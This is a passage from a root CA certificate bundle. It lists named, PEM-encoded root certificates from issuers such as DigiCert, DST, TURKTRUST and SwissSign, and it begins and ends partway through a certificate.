WyL3Ic6DXqTz3kvTaI9GdVyDCW4pa8RwjPWd1yAv/0bSKzjCL3UcPX7ape8eYIVpQtPM+GP+HkM5 haa2Y0EQs3MevNP6yn0WR+Kn1dCjigoIlmJWbjTb2QK5MHXjBNLnj8KwEUAKrNVxAmKLMb7dxiNY MUJDLXT5xp6mig/p/r+D5kNXJLrvRjSq1xIBOO0CAwEAAaOBhjCBgzAOBgNVHQ8BAf8EBAMCAYYw HQYDVR0hBBYwFDASBgdghXQBUwABBgdghXQBUwABMBIGA1UdEwEB/wQIMAYBAf8CAQcwHwYDVR0j BBgwFoAUAyUv3m+CATpcLNwroWm1Z9SM0/0wHQYDVR0OBBYEFAMlL95vggE6XCzcK6FptWfUjNP9 MA0GCSqGSIb3DQEBBQUAA4ICAQA1EMvspgQNDQ/NwNurqPKIlwzfky9NfEBWMXrrpA9gzXrzvsMn jgM+pN0S734edAY8PzHyHHuRMSG08NBsl9Tpl7IkVh5WwzW9iAUPWxAaZOHHgjD5Mq2eUCzneAXQ MbFamIp1TpBcahQq4FJHgmDmHtqBsfsUC1rxn9KVuj7QG9YVHaO+htXbD8BJZLsuUBlL0iT43R4H VtA4oJVwIHaM190e3p9xxCPvgxNcoyQVTSlAPGrEqdi3pkSlDfTgnXceQHAm/NrZNuR55LU/vJtl vrsRls/bxig5OgjOR1tTWsWZ/l2p3e9M1MalrQLmjAcSHm8D0W+go/MpvRLHUKKwf4ipmXeascCl OS5cfGniLLDqN2qk4Vrh9VDlg++luyqI54zb/W1elxmofmZ1a3Hqv7HHb6D0jqTsNFFbjCYDcKF3 1QESVwA12yPeDooomf2xEG9L/zgtYE4snOtnta1J7ksfrK/7DZBaZmBwXarNeNQk7shBoJMBkpxq nvy5JMWzFYJ+vq6VK+uxwNrjAWALXmmshFZhvnEX/h0TD/7Gh0Xp/jKgGg0TpJRVcaUWi7rKibCy x/yP2FS1k2Kdzs9Z+z0YzirLNRWCXf9UIltxUvu3yf5gmwBBZPCqKuy2QkPOiWaByIufOVQDJdMW NY6E0F/6MBr1mmz0DlP5OlvRHA== -----END CERTIFICATE----- DigiCert Assured ID Root CA =========================== -----BEGIN CERTIFICATE----- MIIDtzCCAp+gAwIBAgIQDOfg5RfYRv6P5WD8G/AwOTANBgkqhkiG9w0BAQUFADBlMQswCQYDVQQG EwJVUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQLExB3d3cuZGlnaWNlcnQuY29tMSQw IgYDVQQDExtEaWdpQ2VydCBBc3N1cmVkIElEIFJvb3QgQ0EwHhcNMDYxMTEwMDAwMDAwWhcNMzEx MTEwMDAwMDAwWjBlMQswCQYDVQQGEwJVUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQL ExB3d3cuZGlnaWNlcnQuY29tMSQwIgYDVQQDExtEaWdpQ2VydCBBc3N1cmVkIElEIFJvb3QgQ0Ew ggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCtDhXO5EOAXLGH87dg+XESpa7cJpSIqvTO 9SA5KFhgDPiA2qkVlTJhPLWxKISKityfCgyDF3qPkKyK53lTXDGEKvYPmDI2dsze3Tyoou9q+yHy UmHfnyDXH+Kx2f4YZNISW1/5WBg1vEfNoTb5a3/UsDg+wRvDjDPZ2C8Y/igPs6eD1sNuRMBhNZYW /lmci3Zt1/GiSw0r/wty2p5g0I6QNcZ4VYcgoc/lbQrISXwxmDNsIumH0DJaoroTghHtORedmTpy oeb6pNnVFzF1roV9Iq4/AUaG9ih5yLHa5FcXxH4cDrC0kqZWs72yl+2qp/C3xag/lRbQ/6GW6whf GHdPAgMBAAGjYzBhMA4GA1UdDwEB/wQEAwIBhjAPBgNVHRMBAf8EBTADAQH/MB0GA1UdDgQWBBRF 66Kv9JLLgjEtUYunpyGd823IDzAfBgNVHSMEGDAWgBRF66Kv9JLLgjEtUYunpyGd823IDzANBgkq hkiG9w0BAQUFAAOCAQEAog683+Lt8ONyc3pklL/3cmbYMuRCdWKuh+vy1dneVrOfzM4UKLkNl2Bc EkxY5NM9g0lFWJc1aRqoR+pWxnmrEthngYTffwk8lOa4JiwgvT2zKIn3X/8i4peEH+ll74fg38Fn SbNd67IJKusm7Xi+fT8r87cmNW1fiQG2SVufAQWbqz0lwcy2f8Lxb4bG+mRo64EtlOtCt/qMHt1i 8b5QZ7dsvfPxH2sMNgcWfzd8qVttevESRmCD1ycEvkvOl77DZypoEd+A5wwzZr8TDRRu838fYxAe +o0bJW1sj6W3YQGx0qMmoRBxna3iw/nDmVG3KwcIzi7mULKn+gpFL6Lw8g== -----END CERTIFICATE----- DigiCert Global Root CA ======================= -----BEGIN CERTIFICATE----- MIIDrzCCApegAwIBAgIQCDvgVpBCRrGhdWrJWZHHSjANBgkqhkiG9w0BAQUFADBhMQswCQYDVQQG EwJVUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQLExB3d3cuZGlnaWNlcnQuY29tMSAw HgYDVQQDExdEaWdpQ2VydCBHbG9iYWwgUm9vdCBDQTAeFw0wNjExMTAwMDAwMDBaFw0zMTExMTAw MDAwMDBaMGExCzAJBgNVBAYTAlVTMRUwEwYDVQQKEwxEaWdpQ2VydCBJbmMxGTAXBgNVBAsTEHd3 dy5kaWdpY2VydC5jb20xIDAeBgNVBAMTF0RpZ2lDZXJ0IEdsb2JhbCBSb290IENBMIIBIjANBgkq hkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA4jvhEXLeqKTTo1eqUKKPC3eQyaKl7hLOllsBCSDMAZOn TjC3U/dDxGkAV53ijSLdhwZAAIEJzs4bg7/fzTtxRuLWZscFs3YnFo97nh6Vfe63SKMI2tavegw5 BmV/Sl0fvBf4q77uKNd0f3p4mVmFaG5cIzJLv07A6Fpt43C/dxC//AH2hdmoRBBYMql1GNXRor5H 4idq9Joz+EkIYIvUX7Q6hL+hqkpMfT7PT19sdl6gSzeRntwi5m3OFBqOasv+zbMUZBfHWymeMr/y 7vrTC0LUq7dBMtoM1O/4gdW7jVg/tRvoSSiicNoxBN33shbyTApOB6jtSj1etX+jkMOvJwIDAQAB o2MwYTAOBgNVHQ8BAf8EBAMCAYYwDwYDVR0TAQH/BAUwAwEB/zAdBgNVHQ4EFgQUA95QNVbRTLtm 8KPiGxvDl7I90VUwHwYDVR0jBBgwFoAUA95QNVbRTLtm8KPiGxvDl7I90VUwDQYJKoZIhvcNAQEF BQADggEBAMucN6pIExIK+t1EnE9SsPTfrgT1eXkIoyQY/EsrhMAtudXH/vTBH1jLuG2cenTnmCmr EbXjcKChzUyImZOMkXDiqw8cvpOp/2PV5Adg06O/nVsJ8dWO41P0jmP6P6fbtGbfYmbW0W5BjfIt tep3Sp+dWOIrWcBAI+0tKIJFPnlUkiaY4IBIqDfv8NZ5YBberOgOzW6sRBc4L0na4UU+Krk2U886 UAb3LujEV0lsYSEY1QSteDwsOoBrp+uvFRTp2InBuThs4pFsiv9kuXclVzDAGySj4dzp30d8tbQk CAUw7C29C79Fv1C5qfPrmAESrciIxpg0X40KPMbp1ZWVbd4= -----END CERTIFICATE----- DigiCert High Assurance EV Root CA ================================== -----BEGIN CERTIFICATE----- MIIDxTCCAq2gAwIBAgIQAqxcJmoLQJuPC3nyrkYldzANBgkqhkiG9w0BAQUFADBsMQswCQYDVQQG EwJVUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQLExB3d3cuZGlnaWNlcnQuY29tMSsw KQYDVQQDEyJEaWdpQ2VydCBIaWdoIEFzc3VyYW5jZSBFViBSb290IENBMB4XDTA2MTExMDAwMDAw MFoXDTMxMTExMDAwMDAwMFowbDELMAkGA1UEBhMCVVMxFTATBgNVBAoTDERpZ2lDZXJ0IEluYzEZ MBcGA1UECxMQd3d3LmRpZ2ljZXJ0LmNvbTErMCkGA1UEAxMiRGlnaUNlcnQgSGlnaCBBc3N1cmFu Y2UgRVYgUm9vdCBDQTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAMbM5XPm+9S75S0t Mqbf5YE/yc0lSbZxKsPVlDRnogocsF9ppkCxxLeyj9CYpKlBWTrT3JTWPNt0OKRKzE0lgvdKpVMS OO7zSW1xkX5jtqumX8OkhPhPYlG++MXs2ziS4wblCJEMxChBVfvLWokVfnHoNb9Ncgk9vjo4UFt3 MRuNs8ckRZqnrG0AFFoEt7oT61EKmEFBIk5lYYeBQVCmeVyJ3hlKV9Uu5l0cUyx+mM0aBhakaHPQ NAQTXKFx01p8VdteZOE3hzBWBOURtCmAEvF5OYiiAhF8J2a3iLd48soKqDirCmTCv2ZdlYTBoSUe h10aUAsgEsxBu24LUTi4S8sCAwEAAaNjMGEwDgYDVR0PAQH/BAQDAgGGMA8GA1UdEwEB/wQFMAMB Af8wHQYDVR0OBBYEFLE+w2kD+L9HAdSYJhoIAu9jZCvDMB8GA1UdIwQYMBaAFLE+w2kD+L9HAdSY JhoIAu9jZCvDMA0GCSqGSIb3DQEBBQUAA4IBAQAcGgaX3NecnzyIZgYIVyHbIUf4KmeqvxgydkAQ V8GK83rZEWWONfqe/EW1ntlMMUu4kehDLI6zeM7b41N5cdblIZQB2lWHmiRk9opmzN6cN82oNLFp myPInngiK3BD41VHMWEZ71jFhS9OMPagMRYjyOfiZRYzy78aG6A9+MpeizGLYAiJLQwGXFK3xPkK mNEVX58Svnw2Yzi9RKR/5CYrCsSXaQ3pjOLAEFe4yHYSkVXySGnYvCoCWw9E1CAx2/S6cCZdkGCe vEsXCS+0yx5DaMkHJ8HSXPfqIbloEpw8nL+e/IBcm2PN7EeqJSdnoDfzAIJ9VNep+OkuE6N36B9K -----END CERTIFICATE----- Certplus Class 2 Primary CA =========================== -----BEGIN CERTIFICATE----- MIIDkjCCAnqgAwIBAgIRAIW9S/PY2uNp9pTXX8OlRCMwDQYJKoZIhvcNAQEFBQAwPTELMAkGA1UE BhMCRlIxETAPBgNVBAoTCENlcnRwbHVzMRswGQYDVQQDExJDbGFzcyAyIFByaW1hcnkgQ0EwHhcN OTkwNzA3MTcwNTAwWhcNMTkwNzA2MjM1OTU5WjA9MQswCQYDVQQGEwJGUjERMA8GA1UEChMIQ2Vy dHBsdXMxGzAZBgNVBAMTEkNsYXNzIDIgUHJpbWFyeSBDQTCCASIwDQYJKoZIhvcNAQEBBQADggEP ADCCAQoCggEBANxQltAS+DXSCHh6tlJw/W/uz7kRy1134ezpfgSN1sxvc0NXYKwzCkTsA18cgCSR 5aiRVhKC9+Ar9NuuYS6JEI1rbLqzAr3VNsVINyPi8Fo3UjMXEuLRYE2+L0ER4/YXJQyLkcAbmXuZ Vg2v7tK8R1fjeUl7NIknJITesezpWE7+Tt9avkGtrAjFGA7v0lPubNCdEgETjdyAYveVqUSISnFO YFWe2yMZeVYHDD9jC1yw4r5+FfyUM1hBOHTE4Y+L3yasH7WLO7dDWWuwJKZtkIvEcupdM5i3y95e e++U8Rs+yskhwcWYAqqi9lt3m/V+llU0HGdpwPFC40es/CgcZlUCAwEAAaOBjDCBiTAPBgNVHRME CDAGAQH/AgEKMAsGA1UdDwQEAwIBBjAdBgNVHQ4EFgQU43Mt38sOKAze3bOkynm4jrvoMIkwEQYJ YIZIAYb4QgEBBAQDAgEGMDcGA1UdHwQwMC4wLKAqoCiGJmh0dHA6Ly93d3cuY2VydHBsdXMuY29t L0NSTC9jbGFzczIuY3JsMA0GCSqGSIb3DQEBBQUAA4IBAQCnVM+IRBnL39R/AN9WM2K191EBkOvD P9GIROkkXe/nFL0gt5o8AP5tn9uQ3Nf0YtaLcF3n5QRIqWh8yfFC82x/xXp8HVGIutIKPidd3i1R TtMTZGnkLuPT55sJmabglZvOGtd/vjzOUrMRFcEPF80Du5wlFbqidon8BvEY0JNLDnyCt6X09l/+ 7UCmnYR0ObncHoUW2ikbhiMAybuJfm6AiB4vFLQDJKgybwOaRywwvlbGp0ICcBvqQNi6BQNwB6SW //1IMwrh3KWBkJtN3X3n57LNXMhqlfil9o3EXXgIvnsG1knPGTZQIy4I5p4FTUcY1Rbpsda2ENW7 l7+ijrRU -----END CERTIFICATE----- DST Root CA X3 ============== -----BEGIN CERTIFICATE----- MIIDSjCCAjKgAwIBAgIQRK+wgNajJ7qJMDmGLvhAazANBgkqhkiG9w0BAQUFADA/MSQwIgYDVQQK ExtEaWdpdGFsIFNpZ25hdHVyZSBUcnVzdCBDby4xFzAVBgNVBAMTDkRTVCBSb290IENBIFgzMB4X DTAwMDkzMDIxMTIxOVoXDTIxMDkzMDE0MDExNVowPzEkMCIGA1UEChMbRGlnaXRhbCBTaWduYXR1 cmUgVHJ1c3QgQ28uMRcwFQYDVQQDEw5EU1QgUm9vdCBDQSBYMzCCASIwDQYJKoZIhvcNAQEBBQAD ggEPADCCAQoCggEBAN+v6ZdQCINXtMxiZfaQguzH0yxrMMpb7NnDfcdAwRgUi+DoM3ZJKuM/IUmT rE4Orz5Iy2Xu/NMhD2XSKtkyj4zl93ewEnu1lcCJo6m67XMuegwGMoOifooUMM0RoOEqOLl5CjH9 UL2AZd+3UWODyOKIYepLYYHsUmu5ouJLGiifSKOeDNoJjj4XLh7dIN9bxiqKqy69cK3FCxolkHRy xXtqqzTWMIn/5WgTe1QLyNau7Fqckh49ZLOMxt+/yUFw7BZy1SbsOFU5Q9D8/RhcQPGX69Wam40d utolucbY38EVAjqr2m7xPi71XAicPNaDaeQQmxkqtilX4+U9m5/wAl0CAwEAAaNCMEAwDwYDVR0T AQH/BAUwAwEB/zAOBgNVHQ8BAf8EBAMCAQYwHQYDVR0OBBYEFMSnsaR7LHH62+FLkHX/xBVghYkQ MA0GCSqGSIb3DQEBBQUAA4IBAQCjGiybFwBcqR7uKGY3Or+Dxz9LwwmglSBd49lZRNI+DT69ikug dB/OEIKcdBodfpga3csTS7MgROSR6cz8faXbauX+5v3gTt23ADq1cEmv8uXrAvHRAosZy5Q6XkjE GB5YGV8eAlrwDPGxrancWYaLbumR9YbK+rlmM6pZW87ipxZzR8srzJmwN0jP41ZL9c8PDHIyh8bw RLtTcm1D9SZImlJnt1ir/md2cXjbDaJWFBM5JDGFoqgCWjBH4d1QB7wCCZAA62RjYJsWvIjJEubS fZGL+T0yjWW06XyxV3bqxbYoOb8VZRzI9neWagqNdwvYkQsEjgfbKbYK7p2CNTUQ -----END CERTIFICATE----- DST ACES CA X6 ============== -----BEGIN CERTIFICATE----- MIIECTCCAvGgAwIBAgIQDV6ZCtadt3js2AdWO4YV2TANBgkqhkiG9w0BAQUFADBbMQswCQYDVQQG EwJVUzEgMB4GA1UEChMXRGlnaXRhbCBTaWduYXR1cmUgVHJ1c3QxETAPBgNVBAsTCERTVCBBQ0VT MRcwFQYDVQQDEw5EU1QgQUNFUyBDQSBYNjAeFw0wMzExMjAyMTE5NThaFw0xNzExMjAyMTE5NTha MFsxCzAJBgNVBAYTAlVTMSAwHgYDVQQKExdEaWdpdGFsIFNpZ25hdHVyZSBUcnVzdDERMA8GA1UE CxMIRFNUIEFDRVMxFzAVBgNVBAMTDkRTVCBBQ0VTIENBIFg2MIIBIjANBgkqhkiG9w0BAQEFAAOC AQ8AMIIBCgKCAQEAuT31LMmU3HWKlV1j6IR3dma5WZFcRt2SPp/5DgO0PWGSvSMmtWPuktKe1jzI DZBfZIGxqAgNTNj50wUoUrQBJcWVHAx+PhCEdc/BGZFjz+iokYi5Q1K7gLFViYsx+tC3dr5BPTCa pCIlF3PoHuLTrCq9Wzgh1SpL11V94zpVvddtawJXa+ZHfAjIgrrep4c9oW24MFbCswKBXy314pow GCi4ZtPLAZZv6opFVdbgnf9nKxcCpk4aahELfrd755jWjHZvwTvbUJN+5dCOHze4vbrGn2zpfDPy MjwmR/onJALJfh1biEITajV8fTXpLmaRcpPVMibEdPVTo7NdmvYJywIDAQABo4HIMIHFMA8GA1Ud EwEB/wQFMAMBAf8wDgYDVR0PAQH/BAQDAgHGMB8GA1UdEQQYMBaBFHBraS1vcHNAdHJ1c3Rkc3Qu Y29tMGIGA1UdIARbMFkwVwYKYIZIAWUDAgEBATBJMEcGCCsGAQUFBwIBFjtodHRwOi8vd3d3LnRy dXN0ZHN0LmNvbS9jZXJ0aWZpY2F0ZXMvcG9saWN5L0FDRVMtaW5kZXguaHRtbDAdBgNVHQ4EFgQU CXIGThhDD+XWzMNqizF7eI+og7gwDQYJKoZIhvcNAQEFBQADggEBAKPYjtay284F5zLNAdMEA+V2 5FYrnJmQ6AgwbN99Pe7lv7UkQIRJ4dEorsTCOlMwiPH1d25Ryvr/ma8kXxug/fKshMrfqfBfBC6t Fr8hlxCBPeP/h40y3JTlR4peahPJlJU90u7INJXQgNStMgiAVDzgvVJT11J8smk/f3rPanTK+gQq nExaBqXpIK1FZg9p8d2/6eMyi/rgwYZNcjwu2JN4Cir42NInPRmJX1p7ijvMDNpRrscL9yuwNwXs vFcj4jjSm2jzVhKIT0J8uDHEtdvkyCE06UgRNe76x5JXxZ805Mf29w4LTJxoeHtxMcfrHuBnQfO3 oKfN5XozNmr6mis= -----END CERTIFICATE----- TURKTRUST Certificate Services Provider Root 1 ============================================== -----BEGIN CERTIFICATE----- MIID+zCCAuOgAwIBAgIBATANBgkqhkiG9w0BAQUFADCBtzE/MD0GA1UEAww2VMOcUktUUlVTVCBF bGVrdHJvbmlrIFNlcnRpZmlrYSBIaXptZXQgU2HEn2xhecSxY8Sxc8SxMQswCQYDVQQGDAJUUjEP MA0GA1UEBwwGQU5LQVJBMVYwVAYDVQQKDE0oYykgMjAwNSBUw5xSS1RSVVNUIEJpbGdpIMSwbGV0 acWfaW0gdmUgQmlsacWfaW0gR8O8dmVubGnEn2kgSGl6bWV0bGVyaSBBLsWeLjAeFw0wNTA1MTMx MDI3MTdaFw0xNTAzMjIxMDI3MTdaMIG3MT8wPQYDVQQDDDZUw5xSS1RSVVNUIEVsZWt0cm9uaWsg U2VydGlmaWthIEhpem1ldCBTYcSfbGF5xLFjxLFzxLExCzAJBgNVBAYMAlRSMQ8wDQYDVQQHDAZB TktBUkExVjBUBgNVBAoMTShjKSAyMDA1IFTDnFJLVFJVU1QgQmlsZ2kgxLBsZXRpxZ9pbSB2ZSBC aWxpxZ9pbSBHw7x2ZW5sacSfaSBIaXptZXRsZXJpIEEuxZ4uMIIBIjANBgkqhkiG9w0BAQEFAAOC AQ8AMIIBCgKCAQEAylIF1mMD2Bxf3dJ7XfIMYGFbazt0K3gNfUW9InTojAPBxhEqPZW8qZSwu5GX yGl8hMW0kWxsE2qkVa2kheiVfrMArwDCBRj1cJ02i67L5BuBf5OI+2pVu32Fks66WJ/bMsW9Xe8i Si9BB35JYbOG7E6mQW6EvAPs9TscyB/C7qju6hJKjRTP8wrgUDn5CDX4EVmt5yLqS8oUBt5CurKZ 8y1UiBAG6uEaPj1nH/vO+3yC6BFdSsG5FOpU2WabfIl9BJpiyelSPJ6c79L1JuTm5Rh8i27fbMx4 W09ysstcP4wFjdFMjK2Sx+F4f2VsSQZQLJ4ywtdKxnWKWU51b0dewQIDAQABoxAwDjAMBgNVHRME BTADAQH/MA0GCSqGSIb3DQEBBQUAA4IBAQAV9VX/N5aAWSGk/KEVTCD21F/aAyT8z5Aa9CEKmu46 sWrv7/hg0Uw2ZkUd82YCdAR7kjCo3gp2D++Vbr3JN+YaDayJSFvMgzbC9UZcWYJWtNX+I7TYVBxE q8Sn5RTOPEFhfEPmzcSBCYsk+1Ql1haolgxnB2+zUEfjHCQo3SqYpGH+2+oSN7wBGjSFvW5P55Fy B0SFHljKVETd96y5y4khctuPwGkplyqjrhgjlxxBKot8KsF8kOipKMDTkcatKIdAaLX/7KfS0zgY nNN9aV3wxqUeJBujR/xpB2jn5Jq07Q+hh4cCzofSSE7hvP/L8XKSRGQDJereW26fyfJOrN3H -----END CERTIFICATE----- TURKTRUST Certificate Services Provider Root 2 ============================================== -----BEGIN CERTIFICATE----- MIIEPDCCAySgAwIBAgIBATANBgkqhkiG9w0BAQUFADCBvjE/MD0GA1UEAww2VMOcUktUUlVTVCBF bGVrdHJvbmlrIFNlcnRpZmlrYSBIaXptZXQgU2HEn2xhecSxY8Sxc8SxMQswCQYDVQQGEwJUUjEP MA0GA1UEBwwGQW5rYXJhMV0wWwYDVQQKDFRUw5xSS1RSVVNUIEJpbGdpIMSwbGV0acWfaW0gdmUg QmlsacWfaW0gR8O8dmVubGnEn2kgSGl6bWV0bGVyaSBBLsWeLiAoYykgS2FzxLFtIDIwMDUwHhcN MDUxMTA3MTAwNzU3WhcNMTUwOTE2MTAwNzU3WjCBvjE/MD0GA1UEAww2VMOcUktUUlVTVCBFbGVr dHJvbmlrIFNlcnRpZmlrYSBIaXptZXQgU2HEn2xhecSxY8Sxc8SxMQswCQYDVQQGEwJUUjEPMA0G A1UEBwwGQW5rYXJhMV0wWwYDVQQKDFRUw5xSS1RSVVNUIEJpbGdpIMSwbGV0acWfaW0gdmUgQmls acWfaW0gR8O8dmVubGnEn2kgSGl6bWV0bGVyaSBBLsWeLiAoYykgS2FzxLFtIDIwMDUwggEiMA0G CSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCpNn7DkUNMwxmYCMjHWHtPFoylzkkBH3MOrHUTpvqe LCDe2JAOCtFp0if7qnefJ1Il4std2NiDUBd9irWCPwSOtNXwSadktx4uXyCcUHVPr+G1QRT0mJKI x+XlZEdhR3n9wFHxwZnn3M5q+6+1ATDcRhzviuyV79z/rxAc653YsKpqhRgNF8k+v/Gb0AmJQv2g QrSdiVFVKc8bcLyEVK3BEx+Y9C52YItdP5qtygy/p1Zbj3e41Z55SZI/4PGXJHpsmxcPbe9TmJEr 5A++WXkHeLuXlfSfadRYhwqp48y2WBmfJiGxxFmNskF1wK1pzpwACPI2/z7woQ8arBT9pmAPAgMB AAGjQzBBMB0GA1UdDgQWBBTZN7NOBf3Zz58SFq62iS/rJTqIHDAPBgNVHQ8BAf8EBQMDBwYAMA8G A1UdEwEB/wQFMAMBAf8wDQYJKoZIhvcNAQEFBQADggEBAHJglrfJ3NgpXiOFX7KzLXb7iNcX/ntt Rbj2hWyfIvwqECLsqrkw9qtY1jkQMZkpAL2JZkH7dN6RwRgLn7Vhy506vvWolKMiVW4XSf/SKfE4 Jl3vpao6+XF75tpYHdN0wgH6PmlYX63LaL4ULptswLbcoCb6dxriJNoaN+BnrdFzgw2lGh1uEpJ+ hGIAF728JRhX8tepb1mIvDS3LoV4nZbcFMMsilKbloxSZj2GFotHuFEJjOp9zYhys2AzsfAKRO8P 9Qk3iCQOLGsgOqL6EfJANZxEaGM7rDNvY7wsu/LSy3Z9fYjYHcgFHW68lKlmjHdxx/qR+i9Rnuk5 UrbnBEI= -----END CERTIFICATE----- SwissSign Gold CA - G2 ====================== -----BEGIN CERTIFICATE----- MIIFujCCA6KgAwIBAgIJALtAHEP1Xk+wMA0GCSqGSIb3DQEBBQUAMEUxCzAJBgNVBAYTAkNIMRUw EwYDVQQKEwxTd2lzc1NpZ24gQUcxHzAdBgNVBAMTFlN3aXNzU2lnbiBHb2xkIENBIC0gRzIwHhcN MDYxMDI1MDgzMDM1WhcNMzYxMDI1MDgzMDM1WjBFMQswCQYDVQQGEwJDSDEVMBMGA1UEChMMU3dp c3NTaWduIEFHMR8wHQYDVQQDExZTd2lzc1NpZ24gR29sZCBDQSAtIEcyMIICIjANBgkqhkiG9w0B AQEFAAOCAg8AMIICCgKCAgEAr+TufoskDhJuqVAtFkQ7kpJcyrhdhJJCEyq8ZVeCQD5XJM1QiyUq t2/876LQwB8CJEoTlo8jE+YoWACjR8cGp4QjK7u9lit/VcyLwVcfDmJlD909Vopz2q5+bbqBHH5C jCA12UNNhPqE21Is8w4ndwtrvxEvcnifLtg+5hg3Wipy+dpikJKVyh+c6bM8K8vzARO/Ws/BtQpg vd21mWRTuKCWs2/iJneRjOBiEAKfNA+k1ZIzUd6+jbqEemA8atufK+ze3gE/bk3lUIbLtK/tREDF ylqM2tIrfKjuvqblCqoOpd8FUrdVxyJdMmqXl2MT28nbeTZ7hTpKxVKJ+STnnXepgv9VHKVxaSvR AiTysybUa9oEVeXBCsdtMDeQKuSeFDNeFhdVxVu1yzSJkvGdJo+hB9TGsnhQ2wwMC3wLjEHXuend jIj3o02yMszYF9rNt85mndT9Xv+9lz4pded+p2JYryU0pUHHPbwNUMoDAw8IWh+Vc3hiv69yFGkO peUDDniOJihC8AcLYiAQZzlG+qkDzAQ4embvIIO1jEpWjpEA/I5cgt6IoMPiaG59je883WX0XaxR 7ySArqpWl2/5rX3aYT+YdzylkbYcjCbaZaIJbcHiVOO5ykxMgI93e2CaHt+28kgeDrpOVG2Y4OGi GqJ3UM/EY5LsRxmd6+ZrzsECAwEAAaOBrDCBqTAOBgNVHQ8BAf8EBAMCAQYwDwYDVR0TAQH/BAUw AwEB/zAdBgNVHQ4EFgQUWyV7lqRlUX64OfPAeGZe6Drn8O4wHwYDVR0jBBgwFoAUWyV7lqRlUX64 OfPAeGZe6Drn8O4wRgYDVR0gBD8wPTA7BglghXQBWQECAQEwLjAsBggrBgEFBQcCARYgaHR0cDov L3JlcG9zaXRvcnkuc3dpc3NzaWduLmNvbS8wDQYJKoZIhvcNAQEFBQADggIBACe645R88a7A3hfm 5djV9VSwg/S7zV4Fe0+fdWavPOhWfvxyeDgD2StiGwC5+OlgzczOUYrHUDFu4Up+GC9pWbY9ZIEr 44OE5iKHjn3g7gKZYbge9LgriBIWhMIxkziWMaa5O1M/wySTVltpkuzFwbs4AOPsF6m43Md8AYOf Mke6UiI0HTJ6CVanfCU2qT1L2sCCbwq7EsiHSycR+R4tx5M/nttfJmtS2S6K8RTGRI0Vqbe/vd6m Gu6uLftIdxf+u+yvGPUqUfA5hJeVbG4bwyvEdGB5JbAKJ9/fXtI5z0V9QkvfsywexcZdylU6oJxp mo/a77KwPJ+HbBIrZXAVUjEaJM9vMSNQH4xPjyPDdEFjHFWoFN0+4FFQz/EbMFYOkrCChdiDyyJk vC24JdVUorgG6q2SpCSgwYa1ShNqR88uC1aVVMvOmttqtKay20EIhid392qgQmwLOM7XdVAyksLf KzAiSNDVQTglXaTpXZ/GlHXQRf0wl0OPkKsKx4ZzYEppLd6leNcG2mqeSz53OiATIgHQv2ieY2Br NU0LbbqhPcCT4H8js1WtciVORvnSFu+wZMEBnunKoGqYDs/YYPIvSbjkQuE4NRb0yG5P94FW6Lqj viOvrv1vA+ACOzB2+httQc8Bsem4yWb02ybzOqR08kkkW8mw0FfB+j564ZfJ -----END CERTIFICATE----- SwissSign Silver CA - G2 ======================== -----BEGIN CERTIFICATE----- MIIFvTCCA6WgAwIBAgIITxvUL1S7L0swDQYJKoZIhvcNAQEFBQAwRzELMAkGA1UEBhMCQ0gxFTAT BgNVBAoTDFN3aXNzU2lnbiBBRzEhMB8GA1UEAxMYU3dpc3NTaWduIFNpbHZlciBDQSAtIEcyMB4X DTA2MTAyNTA4MzI0NloXDTM2MTAyNTA4MzI0NlowRzELMAkGA1UEBhMCQ0gxFTATBgNVBAoTDFN3 aXNzU2lnbiBBRzEhMB8GA1UEAxMYU3dpc3NTaWduIFNpbHZlciBDQSAtIEcyMIICIjANBgkqhkiG 9w0BAQEFAAOCAg8AMIICCgKCAgEAxPGHf9N4Mfc4yfjDmUO8x/e8N+dOcbpLj6VzHVxumK4DV644 N0MvFz0fyM5oEMF4rhkDKxD6LHmD9ui5aLlV8gREpzn5/ASLHvGiTSf5YXu6t+WiE7brYT7QbNHm +/pe7R20nqA1W6GSy/BJkv6FCgU+5tkL4k+73JU3/JHpMjUi0R86TieFnbAVlDLaYQ1HTWBCrpJH 6INaUFjpiou5XaHc3ZlKHzZnu0jkg7Y360g6rw9njxcH6ATK72oxh9TAtvmUcXtnZLi2kUpCe2Uu MGoM9ZDulebyzYLs2aFK7PayS+VFheZteJMELpyCbTapxDFkH4aDCyr0NQp4yVXPQbBH6TCfmb5h qAaEuSh6XzjZG6k4sIN/c8HDO0gqgg8hm7jMqDXDhBuDsz6+pJVpATqJAHgE2cn0mRmrVn5bi4Y5 FZGkECwJMoBgs5PAKrYYC51+jUnyEEp/+dVGLxmSo5mnJqy7jDzmDrxHB9xzUfFwZC8I+bRHHTBs ROopN4WSaGa8gzj+ezku01DwH/teYLappvonQfGbGHLy9YR0SslnxFSuSGTfjNFusB3hB48IHpmc celM2KX3RxIfdNFRnobzwqIjQAtz20um53MGjMGg6cFZrEb65i/4z3GcRm25xBWNOHkDRUjvxF3X CO6HOSKGsg0PWEP3calILv3q1h8CAwEAAaOBrDCBqTAOBgNVHQ8BAf8EBAMCAQYwDwYDVR0TAQH/ BAUwAwEB/zAdBgNVHQ4EFgQUF6DNweRBtjpbO8tFnb0cwpj6hlgwHwYDVR0jBBgwFoAUF6DNweRB tjpbO8tFnb0cwpj6hlgwRgYDVR0gBD8wPTA7BglghXQBWQEDAQEwLjAsBggrBgEFBQcCARYgaHR0 cDovL3JlcG9zaXRvcnkuc3dpc3NzaWduLmNvbS8wDQYJKoZIhvcNAQEFBQADggIBAHPGgeAn0i0P 4JUw4ppBf1AsX19iYamGamkYDHRJ1l2E6kFSGG9YrVBWIGrGvShpWJHckRE1qTodvBqlYJ7YH39F kWnZfrt4csEGDyrOj4VwYaygzQu4OSlWhDJOhrs9xCrZ1x9y7v5RoSJBsXECYxqCsGKrXlcSH9/L 3XWgwF15kIwb4FDm3jH+mHtwX6WQ2K34ArZv02DdQEsixT2tOnqfGhpHkXkzuoLcMmkDlm4fS/Bx /uNncqCxv1yL5PqZIseEuRuNI5c/7SXgz2W79WEE790eslpBIlqhn10s6FvJbakMDHiqYMZWjwFa 